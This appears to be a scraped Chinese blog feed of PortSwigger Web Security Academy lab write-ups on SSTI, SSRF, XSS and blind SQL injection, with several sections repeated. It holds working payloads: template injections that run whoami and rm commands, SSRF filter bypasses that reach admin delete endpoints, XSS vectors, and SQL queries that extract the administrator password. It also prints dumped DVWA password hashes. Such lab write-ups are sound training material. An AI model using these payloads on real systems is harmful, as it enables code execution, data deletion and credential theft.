試著改一改如下圖紅圈,按forward送出:
可以發現的確名稱變64:
所以可以開始送指令:
}}{%25+import+os+%25}{{os.system('whoami')
}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
一直forward到結束,再去重新整理有評論的那個頁面,即可成功執行刪除動作。
進入以上網頁後按access the lab進入以下畫面:
點上圖右上角紅圈登入:
登入後點下圖右上角紅圈回到首頁:
回到首頁後,隨便點進去一個,比如說下圖紅圈:
進去後發現這是可以編輯的:
點上圖紅圈後會出現編輯器如下圖,其中可能有SSTI弱點如下圖底線:
參考以下網頁:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
測試7*7是不是真的會算出來
看上圖下方底線,的確是會。那麼回到
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
去找找有一樣式子的不同語言範例,比如下圖:
試試上圖紅線,貼上如下圖:
從上圖看可以發現出現錯誤,但上圖的下面紅圈顯示了它是FreeMaker,所以再從
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
找一下,如下圖:
照抄上圖紅底線貼上,如下圖:
看上圖反藍處,可知linux指令id有確實執行。
試試ls -al
,來看看指令裡空白有沒有問題。看來也是ok,而且也看到了morale.txt如上圖下面紅圈。
點上圖的access the lab後進入如下畫面:
可以發現點了上圖的紅圈處,會出現箭頭指向的文字。試著把burp打開且intercept on,再按一次上圖紅圈處,攔截到的request如下:
上圖左邊紅線處就是SSTI的注入點。改成{{7*7}}後報錯,從右半邊的報錯訊息,可以看到右邊底線處顯示是handlebars,於是去下列網址找找有關handlebars的SSTI資訊:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
可以發現上圖紅圈處就是payload。也可以試試看自己產生payload,把上圖紅圈處那一大段複製(會執行whoami)到下圖的上面大框框,再選擇encoded成url,即可生成一樣的payload。
把這一長串貼到message後面如下圖(先在repeater試試),可以發現會正常response,且下圖右半邊紅圈代表指令有執行。
確定可行後,把那一大段之中的whoami改成題目要的rm morale.txt,用同樣方式encode生成payload。
這一次來正式的,所以是切到proxy,把payload貼到message後面:
按forward一直按直到沒得按,再重新整理頁面,即可解題。
參考:
https://blog.csdn.net/m0_53008479/article/details/127799085
按上圖access the lab進入下圖頁面:
點上圖紅圈進行登入:
用題目提示的帳密登入後,按下圖紅圈回到列表:
回到列表如下圖,按下圖紅圈:
按完後進入下圖頁面,再按下圖紅圈:
可以發現下圖template編輯器,有很明顯的SSTI注入處如下圖反藍:
payload參考:
https://github.com/Lifars/davdts
用了其中的{% debug %}的確可以爆出一些東西不會報錯。
根據下面網頁:
(一篇文章带你理解漏洞之SSTI漏洞)
可以發現別人爆出key是用下圖所提payload:
不過這一題沒這麼複雜,只要setting.SECRET_KEY即可,答案如下圖反藍處:
]]>進入以上網頁後按access the lab進入以下畫面,按下view details後會發現下圖的2跑出來。
把把burp給intercept on後再重複一次剛剛的操作,可以發現上圖2的文字其實是發送了一個get請求,message的後面會接東西。我們按右鍵把這一些東西送進repeater來試試看message能不能塞入一些別的東西:
參考以下網頁:
SSTI (Server Side Template Injection) - HackTricks
根據題目提示,看上圖的ERB的東西,並把上圖紅底線的東西塞到message後面如下圖左上角的底線:
可以發現網頁會把它解析成49,如上圖右下角底線。可以再依照上上張圖下方的一些指令試試看:
<%= system("whoami") %>
回到proxy,實際送刪除的指令:
一直按forward,沒得按後再重新整理網頁,即可解題。
進入以上網頁後按access the lab進入以下畫面:
按上圖view post進入下圖網頁,並按下圖紅圈登入。
可以發現文章底下有評論。容易有SSTI的部分是使用者名稱跟評論。
登入:
按底下Preferred name選單選別的,記得在那之前burp需要intercept on:
可以發現下圖紅圈處,這是可以SSTI的洞:
依題目提示找Torando:
試著改一改如下圖紅圈,按forward送出:
可以發現的確名稱變64:
所以可以開始送指令:
}}{%25+import+os+%25}{{os.system('whoami')
}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
一直forward到結束,再去重新整理有評論的那個頁面,即可成功執行刪除動作。
進入以上網頁後按access the lab進入以下畫面:
點上圖右上角紅圈登入:
登入後點下圖右上角紅圈回到首頁:
回到首頁後,隨便點進去一個,比如說下圖紅圈:
進去後發現這是可以編輯的:
點上圖紅圈後會出現編輯器如下圖,其中可能有SSTI弱點如下圖底線:
參考以下網頁:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
測試7*7是不是真的會算出來
看上圖下方底線,的確是會。那麼回到
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
去找找有一樣式子的不同語言範例,比如下圖:
試試上圖紅線,貼上如下圖:
從上圖看可以發現出現錯誤,但上圖的下面紅圈顯示了它是FreeMaker,所以再從
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php
找一下,如下圖:
照抄上圖紅底線貼上,如下圖:
看上圖反藍處,可知linux指令id有確實執行。
試試ls -al
,來看看指令裡空白有沒有問題。看來也是ok,而且也看到了morale.txt如上圖下面紅圈。
點上圖的access the lab後進入如下畫面:
可以發現點了上圖的紅圈處,會出現箭頭指向的文字。試著把burp打開且intercept on,再按一次上圖紅圈處,攔截到的request如下:
上圖左邊紅線處就是SSTI的注入點。改成{{7*7}}後報錯,從右半邊的報錯訊息,可以看到右邊底線處顯示是handlebars,於是去下列網址找找有關handlebars的SSTI資訊:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs
可以發現上圖紅圈處就是payload。也可以試試看自己產生payload,把上圖紅圈處那一大段複製(會執行whoami)到下圖的上面大框框,再選擇encoded成url,即可生成一樣的payload。
把這一長串貼到message後面如下圖(先在repeater試試),可以發現會正常response,且下圖右半邊紅圈代表指令有執行。
確定可行後,把那一大段之中的whoami改成題目要的rm morale.txt,用同樣方式encode生成payload。
這一次來正式的,所以是切到proxy,把payload貼到message後面:
按forward一直按直到沒得按,再重新整理頁面,即可解題。
參考:
https://blog.csdn.net/m0_53008479/article/details/127799085
按上圖access the lab進入下圖頁面:
點上圖紅圈進行登入:
用題目提示的帳密登入後,按下圖紅圈回到列表:
回到列表如下圖,按下圖紅圈:
按完後進入下圖頁面,再按下圖紅圈:
可以發現下圖template編輯器,有很明顯的SSTI注入處如下圖反藍:
payload參考:
https://github.com/Lifars/davdts
用了其中的{% debug %}的確可以爆出一些東西不會報錯。
根據下面網頁:
(一篇文章带你理解漏洞之SSTI漏洞)
可以發現別人爆出key是用下圖所提payload:
不過這一題沒這麼複雜,只要setting.SECRET_KEY即可,答案如下圖反藍處:
]]>https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處
按check stock,記得在那之前burp需要intercept on:
上圖紅箭頭所指的地方正是點下去以後,可以看到目前剩餘數量的網址。
可以直接把這一串改成題目提示的網址如上圖,按多次forward後出現以畫面:
如果直接點delete會失敗如下圖,因為不是用管理員權限操作:
所以要看看這連結的url長怎樣,在連結上按右鍵,以複製連結網址:
可以發現後面admin後面接著/delete?username=wiener
https://0acb007f032b3cf9808d3f8000720058.web-security-academy.net/admin/delete?username=wiener
所以剛剛的步驟再來一次,這一次把網址改成完整的如上圖1即可解題。
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
跟上一題不一樣的是,這一次不知道IP的最後一個數字,所以需要用到intruder。
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處
按check stock,記得在那之前burp需要intercept on,並按右鍵後再按下圖紅圈處:
再把這串送入intruder:
已知ip最後一數字未知,所以先反藍後按下圖2:
接下來設定Payloads,照下圖順序1,2設定,最後按3:
看哪一個status是200,看來是182,所以IP就是192.168.0.182:
再回到repeater試驗182是否正確:
回proxy,輸入完整網址後點下圖2,一直點:
按下上圖2(就是forward)後,再繼續一直按forward直到不能按,順便重新整理網頁再按forward,即可解題。
https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處,記得burp需要intercept on:
按check stock:
可以看到攔截到如下圖:
試試看用老招:
http://localhost/admin/delete?username=carlos
但可以發現會有錯誤:
為了測試,把這按右鍵送到repeater:
測試老招時。會發現下圖紅圈,說是被block。
參考以下網誌:
https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4
簡單來說,把localhost改成127.1,並把admin給編碼成url的百分比編碼即可,而且還要編兩次,如下圖所示:
所以payload如下:
http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
按forward送出去後,網頁下方出現以下:
再來一次:
重新整理網頁,並按forward直到出現以下畫面:
刪除carlos的payload:
http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos
https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處:
https://0a29006c03736c0b826f38d60075008e.web-security-academy.net/product?productId=1
按Next product,記得在那之前burp需要intercept on:
上圖path後面可以接別的網址,這就是open redirection vulnerability:
再次用老招,path後面接:
http://192.168.0.12:8080/admin/delete?username=carlos
但沒有用,不過概念就是這樣。
把http改成https也沒用。
https://blog.51cto.com/u_16097306/6337330
https://systemweakness.com/portswigger-ssrf-labs-19b673683195
]]>https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處
按check stock,記得在那之前burp需要intercept on:
上圖紅箭頭所指的地方正是點下去以後,可以看到目前剩餘數量的網址。
可以直接把這一串改成題目提示的網址如上圖,按多次forward後出現以畫面:
如果直接點delete會失敗如下圖,因為不是用管理員權限操作:
所以要看看這連結的url長怎樣,在連結上按右鍵,以複製連結網址:
可以發現後面admin後面接著/delete?username=wiener
https://0acb007f032b3cf9808d3f8000720058.web-security-academy.net/admin/delete?username=wiener
所以剛剛的步驟再來一次,這一次把網址改成完整的如上圖1即可解題。
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
跟上一題不一樣的是,這一次不知道IP的最後一個數字,所以需要用到intruder。
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處
按check stock,記得在那之前burp需要intercept on,並按右鍵後再按下圖紅圈處:
再把這串送入intruder:
已知ip最後一數字未知,所以先反藍後按下圖2:
接下來設定Payloads,照下圖順序1,2設定,最後按3:
看哪一個status是200,看來是182,所以IP就是192.168.0.182:
再回到repeater試驗182是否正確:
回proxy,輸入完整網址後點下圖2,一直點:
按下上圖2(就是forward)後,再繼續一直按forward直到不能按,順便重新整理網頁再按forward,即可解題。
https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處,記得burp需要intercept on:
按check stock:
可以看到攔截到如下圖:
試試看用老招:
http://localhost/admin/delete?username=carlos
但可以發現會有錯誤:
為了測試,把這按右鍵送到repeater:
測試老招時。會發現下圖紅圈,說是被block。
參考以下網誌:
https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4
簡單來說,把localhost改成127.1,並把admin給編碼成url的百分比編碼即可,而且還要編兩次,如下圖所示:
所以payload如下:
http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
按forward送出去後,網頁下方出現以下:
再來一次:
重新整理網頁,並按forward直到出現以下畫面:
刪除carlos的payload:
http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos
https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
進入以上網頁後按access the lab進入以下畫面:
點上圖紅圈處:
https://0a29006c03736c0b826f38d60075008e.web-security-academy.net/product?productId=1
按Next product,記得在那之前burp需要intercept on:
上圖path後面可以接別的網址,這就是open redirection vulnerability:
再次用老招,path後面接:
http://192.168.0.12:8080/admin/delete?username=carlos
但沒有用,不過概念就是這樣。
把http改成https也沒用。
https://blog.51cto.com/u_16097306/6337330
https://systemweakness.com/portswigger-ssrf-labs-19b673683195
]]>https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
點上圖access the lab,進入下圖網頁:
隨便打個aaa,按search,進入以下網頁:
現在用的是firefix,按F12觀察目前網頁狀態:
可以想想,如果上圖紅圈的aaa部分替換成彈窗程式碼,是不是就可以彈窗?
所以試試在search欄位貼上這一串:
alert(document.domain)順利彈窗,看一下F12,也的確如剛剛所想。這是個簡單題,因為沒有任何轉譯或過濾。
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded
進入上圖網頁以後按上圖紅圈處進入文章。
上圖有留言板,可以觀察一下送出留言後的網頁排版。
輸入如上圖資訊送出後,網頁排版如下圖。同樣,如果下圖紅圈aaa的部分替換成彈窗程式碼即可。
alert("hello world")MrXSS
XSS@XSS.com
按上圖的Back to blog
按F12看一下網頁排版:
document.write
sink using source location.search
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
在上圖的頁面按ctrl+U來檢視source code,問題在下面這一個:
看看上圖紅圈。如果直接輸入
alert(document.domain)這樣的彈窗會失敗,因為上圖紅圈會把上一句處理成這樣:
前面要先把img src的語句用">
閉合。XSS攻擊語句如下:
">alert(document.domain)
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
按access the lab進入以下網頁:
先隨便打個字串搜索一下:
用firefox瀏覽器,在上圖按F12,可以看到輸出:
根據
https://ithelp.ithome.com.tw/articles/10241374?sc=rss.iron
來了解一下innerHTML:
輸入
</span><img src=/ onerror=alert(1) />//
使得整句變為:
用</span>
來閉合search message,接下來用onerror來彈窗。
可以再F12看一下剛剛的XSS語句在網頁如何表現:
跟原本的aaa比較:
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink
按上圖access the lab進入以下網頁:
按上圖右上角進入以下網頁:
按F12:
在網址列的最後面輸入: javascript:alert(document.domain)
再按重新整理:
按上圖access the lab進入下面網頁:
先隨便打一個彈窗的語法看看:
" alERT(/XSS/) "
再按F12,可以發現有對語句的<
跟>
進行轉譯,變成<
跟>
。
參考以下文章,可以發現有不需<
跟>
就可以彈窗的程式碼:
" onmouseover =alert(document.domain) name="1
只要動滑鼠就會出現以上視窗。
按上圖access the lab進入下面網頁:
按上圖最下面view post。
看到留言出現:
開F12看看留言的結構:
可以發現website的地方其實可以塞彈窗程式碼:
javascript:alert(1)
送出後回到評論,按下圖紅圈,即可彈窗。
用F12看,程式碼如下:
按上圖access the lab進入下面網頁:
XSS語句:
';alert(1);//
按search後彈窗:
看一下F12,其實語句的意思是先把下圖紅圈處的單引號閉合,再執行彈窗指令。
]]>https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
點上圖access the lab,進入下圖網頁:
隨便打個aaa,按search,進入以下網頁:
現在用的是firefix,按F12觀察目前網頁狀態:
可以想想,如果上圖紅圈的aaa部分替換成彈窗程式碼,是不是就可以彈窗?
所以試試在search欄位貼上這一串:
alert(document.domain)順利彈窗,看一下F12,也的確如剛剛所想。這是個簡單題,因為沒有任何轉譯或過濾。
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded
進入上圖網頁以後按上圖紅圈處進入文章。
上圖有留言板,可以觀察一下送出留言後的網頁排版。
輸入如上圖資訊送出後,網頁排版如下圖。同樣,如果下圖紅圈aaa的部分替換成彈窗程式碼即可。
alert("hello world")MrXSS
XSS@XSS.com
按上圖的Back to blog
按F12看一下網頁排版:
document.write
sink using source location.search
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
在上圖的頁面按ctrl+U來檢視source code,問題在下面這一個:
看看上圖紅圈。如果直接輸入
alert(document.domain)這樣的彈窗會失敗,因為上圖紅圈會把上一句處理成這樣:
前面要先把img src的語句用">
閉合。XSS攻擊語句如下:
">alert(document.domain)
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
按access the lab進入以下網頁:
先隨便打個字串搜索一下:
用firefox瀏覽器,在上圖按F12,可以看到輸出:
根據
https://ithelp.ithome.com.tw/articles/10241374?sc=rss.iron
來了解一下innerHTML:
輸入
</span><img src=/ onerror=alert(1) />//
使得整句變為:
用</span>
來閉合search message,接下來用onerror來彈窗。
可以再F12看一下剛剛的XSS語句在網頁如何表現:
跟原本的aaa比較:
https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink
按上圖access the lab進入以下網頁:
按上圖右上角進入以下網頁:
按F12:
在網址列的最後面輸入: javascript:alert(document.domain)
再按重新整理:
按上圖access the lab進入下面網頁:
先隨便打一個彈窗的語法看看:
" alERT(/XSS/) "
再按F12,可以發現有對語句的<
跟>
進行轉譯,變成<
跟>
。
參考以下文章,可以發現有不需<
跟>
就可以彈窗的程式碼:
" onmouseover =alert(document.domain) name="1
只要動滑鼠就會出現以上視窗。
按上圖access the lab進入下面網頁:
按上圖最下面view post。
看到留言出現:
開F12看看留言的結構:
可以發現website的地方其實可以塞彈窗程式碼:
javascript:alert(1)
送出後回到評論,按下圖紅圈,即可彈窗。
用F12看,程式碼如下:
按上圖access the lab進入下面網頁:
XSS語句:
';alert(1);//
按search後彈窗:
看一下F12,其實語句的意思是先把下圖紅圈處的單引號閉合,再執行彈窗指令。
]]>Lab: Blind SQL injection with conditional errors | Web Security Academy
這一次不像上一題Blind SQL injection with conditional responses,上一題如果邏輯錯誤會使得網頁上的welcome back消失,所以不管邏輯對錯都無法從網頁上看出端倪,只能強制觸發error(比如500 internal server error)來辨別。
step 1: (準備工作)
按Access the lab以後,進入以下網頁:
接下來把下圖的intercept設成on後,再去點上圖的Gifts。
這時會發現burp的畫面如下圖所示,而注入點是在下圖三角形處,以後所有的語句都是貼在三角形那,也就是W後面。
step 2: (漏洞測試)
首先先來個SQL語句' AND 1=2--,雖然預期會是error,但依然像下圖那樣回200 OK。所以想利用邏輯上的false是不行的,要利用conditional false。
step 3: (攻擊語句測試 1)
SQL語句:
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句來源:
SQL injection cheat sheet | Web Security Academy
語句解析:
直接先挑上圖第一句。當然,是不是orcale,其實也要花些功夫去偵測。
SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。
當然1和1相等沒錯,所以回傳TO_CHAR(1/0),整句的語句會變成
' AND TO_CHAR(1/0) = '1'--
那再來關注1/0,因為0當分母不合理,所以1/0會出現錯誤,把它TO_CHAR後也一樣是個錯誤,所以整句不成立,網頁會出現status 500,這種利用條件裡的語法錯誤即為conditional false。
執行結果:
step 4: (攻擊語句測試 2)
SQL語句:
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句解析:
SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。
1和2不相等,所以回傳NULL,整句的語句會變成
' AND NULL = '1'--
這時沒有錯誤,所以網頁會出現status 200
執行結果:
知道了這一點,就可以把WHEN()括號裡的東西換成我們的條件式。
step 5: (正式攻擊語句)
SQL語句:
' AND (SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句解析:
先看WHEN()括號裡的東西:
SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'
這是指administrator的password第一個字是不是0。
再看AND ()括號裡的東西:
SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual
這是指如果WHEN裡面的東西如果成立,則回傳TO_CHAR(1/0),否則回傳NULL。
再看整句:
因為administrator的password第一個字不是0,所以會回傳NULL,所以整句變成' AND NULL = '1',因為沒觸發到TO_CHAR(1/0)這個語法錯誤的式子,所以還是會回200 OK。
執行結果:
step 6: (攻擊語句暴力枚舉)
而接下來就可以猜密碼裡每個字是什麼了。我們需要枚舉第n個字是不是26個字母或是10個數字的其中之一,如果確定第n個字是什麼字,應該status會出現500。
需要送到intruder做暴力破解。上圖的畫面按右鍵後會出現以下畫面,按下圖紅底線處:
下圖的1-5是操作順序。先把1的那個字反白,按add \$;接下來再把3的那個字反白,再按add \$;接下來是把attack type改成下圖的,才能一次設定剛剛反白的兩個變數。
首先設定第一個變數,它是指password的第幾個字,所以設定如下。下圖payload settings的to的值設成20,當然第一次做不確定是幾個字,可以設多一點,反正到時看結果時只要看status 500就好。
第二個變數是26個英文字母跟數字:
接下來就可以按上圖右上角的start attack來開始猜密碼。
可以從上圖看到是先固定第二個變數,然後第一個變數先跑。上圖反藍處代表password第3個字是a。
當然這樣找很慢,可以按上圖紅圈處,讓status照大小排:
Lab: Blind SQL injection with time delays | Web Security Academy
這一題很單純,就是只要DELAY10秒就可以了。官方提供的cheat sheet如下:
SQL injection cheat sheet | Web Security Academy
一個一個試過以後,可以發現只有PostgreSQL可以延遲10秒,不過不能直接把上面照貼,要稍微加工一下。
step 1:
跟上一題step 1一樣,按access the lab進入網站後,先把intercept開啟:
step 2:
再去點網頁裡的refine your search下面的其中一個:
step 3:
一樣把網頁的request送到repeater,並把語句插入到下圖紅底線所示的游標的後面:
step 4:
問題是要插入什麼語句。如果直接照貼' SELECT pg_sleep(10)
是不行的。
最後試出來是
'||(SELECT pg_sleep(10)) --
||是連接的意思,比如說A||B就是AB。注意,不能用+號代替。
Lab: Blind SQL injection with time delays and information retrieval | Web Security Academy
這一題是上一題的進階版。要利用time delay來判斷密碼的每個位置是哪個字,所以是要符合條件式後才能sleep 10秒。
先看看cheat sheet:
SQL injection cheat sheet | Web Security Academy
問題是底線處要換成什麼條件式。不過其實已經看過這條件式很多次了,就是:
SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'
再重新解釋一次,這條件式的意思就是administrator的第1個字(第一個粗體)是不是0(第二個粗體)。
所以整個完整語句是:
SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END
但是現在要可以注入,所以前後還要加一點東西:
'||(SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END)--
第一個字元是單引號,應該算是注入必備。接下來是||,這比較難解釋;然後最後面加個--,功用是註解掉後面語句。
接下來就可以仿造Blind SQL injection with conditional errors這一題的step 6,去建構兩個變數後開始猜密碼。開始猜的時候,記得要先選下圖左邊紅圈,才會顯示請求的時間。
按一下上圖右邊紅圈後,可以把時間照大小排,就只要看超過10000(10秒)的就好了。
]]>Lab: Blind SQL injection with conditional errors | Web Security Academy
這一次不像上一題Blind SQL injection with conditional responses,上一題如果邏輯錯誤會使得網頁上的welcome back消失,所以不管邏輯對錯都無法從網頁上看出端倪,只能強制觸發error(比如500 internal server error)來辨別。
step 1: (準備工作)
按Access the lab以後,進入以下網頁:
接下來把下圖的intercept設成on後,再去點上圖的Gifts。
這時會發現burp的畫面如下圖所示,而注入點是在下圖三角形處,以後所有的語句都是貼在三角形那,也就是W後面。
step 2: (漏洞測試)
首先先來個SQL語句' AND 1=2--,雖然預期會是error,但依然像下圖那樣回200 OK。所以想利用邏輯上的false是不行的,要利用conditional false。
step 3: (攻擊語句測試 1)
SQL語句:
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句來源:
SQL injection cheat sheet | Web Security Academy
語句解析:
直接先挑上圖第一句。當然,是不是orcale,其實也要花些功夫去偵測。
SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。
當然1和1相等沒錯,所以回傳TO_CHAR(1/0),整句的語句會變成
' AND TO_CHAR(1/0) = '1'--
那再來關注1/0,因為0當分母不合理,所以1/0會出現錯誤,把它TO_CHAR後也一樣是個錯誤,所以整句不成立,網頁會出現status 500,這種利用條件裡的語法錯誤即為conditional false。
執行結果:
step 4: (攻擊語句測試 2)
SQL語句:
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句解析:
SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
代表的是如果1和1是相等,就會回傳TO_CHAR(1/0),否則回傳NULL。
1和2不相等,所以回傳NULL,整句的語句會變成
' AND NULL = '1'--
這時沒有錯誤,所以網頁會出現status 200
執行結果:
知道了這一點,就可以把WHEN()括號裡的東西換成我們的條件式。
step 5: (正式攻擊語句)
SQL語句:
' AND (SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual) = '1'--
語句解析:
先看WHEN()括號裡的東西:
SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'
這是指administrator的password第一個字是不是0。
再看AND ()括號裡的東西:
SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN TO_CHAR(1/0) ELSE NULL END FROM dual
這是指如果WHEN裡面的東西如果成立,則回傳TO_CHAR(1/0),否則回傳NULL。
再看整句:
因為administrator的password第一個字不是0,所以會回傳NULL,所以整句變成' AND NULL = '1',因為沒觸發到TO_CHAR(1/0)這個語法錯誤的式子,所以還是會回200 OK。
執行結果:
step 6: (攻擊語句暴力枚舉)
而接下來就可以猜密碼裡每個字是什麼了。我們需要枚舉第n個字是不是26個字母或是10個數字的其中之一,如果確定第n個字是什麼字,應該status會出現500。
需要送到intruder做暴力破解。上圖的畫面按右鍵後會出現以下畫面,按下圖紅底線處:
下圖的1-5是操作順序。先把1的那個字反白,按add \$;接下來再把3的那個字反白,再按add \$;接下來是把attack type改成下圖的,才能一次設定剛剛反白的兩個變數。
首先設定第一個變數,它是指password的第幾個字,所以設定如下。下圖payload settings的to的值設成20,當然第一次做不確定是幾個字,可以設多一點,反正到時看結果時只要看status 500就好。
第二個變數是26個英文字母跟數字:
接下來就可以按上圖右上角的start attack來開始猜密碼。
可以從上圖看到是先固定第二個變數,然後第一個變數先跑。上圖反藍處代表password第3個字是a。
當然這樣找很慢,可以按上圖紅圈處,讓status照大小排:
Lab: Blind SQL injection with time delays | Web Security Academy
這一題很單純,就是只要DELAY10秒就可以了。官方提供的cheat sheet如下:
SQL injection cheat sheet | Web Security Academy
一個一個試過以後,可以發現只有PostgreSQL可以延遲10秒,不過不能直接把上面照貼,要稍微加工一下。
step 1:
跟上一題step 1一樣,按access the lab進入網站後,先把intercept開啟:
step 2:
再去點網頁裡的refine your search下面的其中一個:
step 3:
一樣把網頁的request送到repeater,並把語句插入到下圖紅底線所示的游標的後面:
step 4:
問題是要插入什麼語句。如果直接照貼' SELECT pg_sleep(10)
是不行的。
最後試出來是
'||(SELECT pg_sleep(10)) --
||是連接的意思,比如說A||B就是AB。注意,不能用+號代替。
Lab: Blind SQL injection with time delays and information retrieval | Web Security Academy
這一題是上一題的進階版。要利用time delay來判斷密碼的每個位置是哪個字,所以是要符合條件式後才能sleep 10秒。
先看看cheat sheet:
SQL injection cheat sheet | Web Security Academy
問題是底線處要換成什麼條件式。不過其實已經看過這條件式很多次了,就是:
SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0'
再重新解釋一次,這條件式的意思就是administrator的第1個字(第一個粗體)是不是0(第二個粗體)。
所以整個完整語句是:
SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END
但是現在要可以注入,所以前後還要加一點東西:
'||(SELECT CASE WHEN (SUBSTR((SELECT password from users WHERE username='administrator'),1,1)='0') THEN pg_sleep(10) ELSE pg_sleep(0) END)--
第一個字元是單引號,應該算是注入必備。接下來是||,這比較難解釋;然後最後面加個--,功用是註解掉後面語句。
接下來就可以仿造Blind SQL injection with conditional errors這一題的step 6,去建構兩個變數後開始猜密碼。開始猜的時候,記得要先選下圖左邊紅圈,才會顯示請求的時間。
按一下上圖右邊紅圈後,可以把時間照大小排,就只要看超過10000(10秒)的就好了。
]]>以dvwa漏洞平台SQL Injection (Blind)关卡low等级为例:
from sqli_bool import *
CurrentDatabaseGET()
the name of current database contains 4 characters
the name of current database is DVWA
TablesGET()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsGET('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentGET('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
以dvwa漏洞平台SQL Injection (Blind)关卡medium等级为例:
from sqli_bool import *
CurrentDatabasePOST()
the name of current database contains 4 characters
the name of current database is DVWA
TablesPOST()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsPOST('USERS')
the name of all columns in current table contains 164 characters
